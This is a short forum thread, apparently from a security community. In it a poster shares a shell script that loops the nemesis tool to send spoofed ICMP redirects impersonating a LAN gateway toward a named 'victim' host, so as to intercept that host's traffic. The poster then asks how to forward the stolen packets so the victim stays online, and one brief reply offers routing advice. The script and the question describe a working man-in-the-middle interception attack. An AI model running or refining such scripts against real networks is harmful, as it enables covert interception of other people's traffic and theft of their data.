ICMP troubles
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Thread: ICMP troubles

  1. #1
    Senior Member
    Join Date
    Oct 2001
    Posts
    872

    ICMP troubles

    Because ICMP redirection implemented in Ettercap doesn't work for me (I don't know why), I wrote script which do it for me:

    Code:
    #!/bin/sh 
    # 
    echo 1 > /proc/sys/net/ipv4/ip_forward 
    while : 
    do 
    ./nemesis icmp -v -i 5 -c 0 -G 192.168.0.100 -qR -S 192.168.0.1 -D 192.168.0.109 -H 00:30:4f:2d:f6:12 -M 00:80:c7:09:e2:28 
    done
    Now, I receive packets from 192.168.0.109
    Great, but my victim loses his/her internet connection. It's logical. because I didn't do forwarding of packets. And this is my problem.
    "echo > 1 /proc/sys/net/ipv4/ip_forward" doesn't work, because I receive form 192.168.0.109 packets like this:
    src.: 192.168.0.109 dst.: www.google.com

    not like this, where ip_forward would be working:
    src.: 192.168.0.1 dst.: 192.168.0.1 (our network gateway)

    How can I resend packets to the gateway? I tried with iptables, masquerade, postrouting and all that stuff, but I couldn't achieve my goal. Please help me

    PS: Do I have to possess two ethernet cards? I don't think so...

    PPS: nemesis is outlined here if you don't know what it is.
    ...This Space For Rent.

    -[WebCarnage]

  2. #2
    Just Another Geek
    Join Date
    Jul 2002
    Location
    Rotterdam, Netherlands
    Posts
    3,401
    You need to make sure your host can still use the default gateway.
    Oliver's Law:
    Experience is something you don't get until just after you need it.

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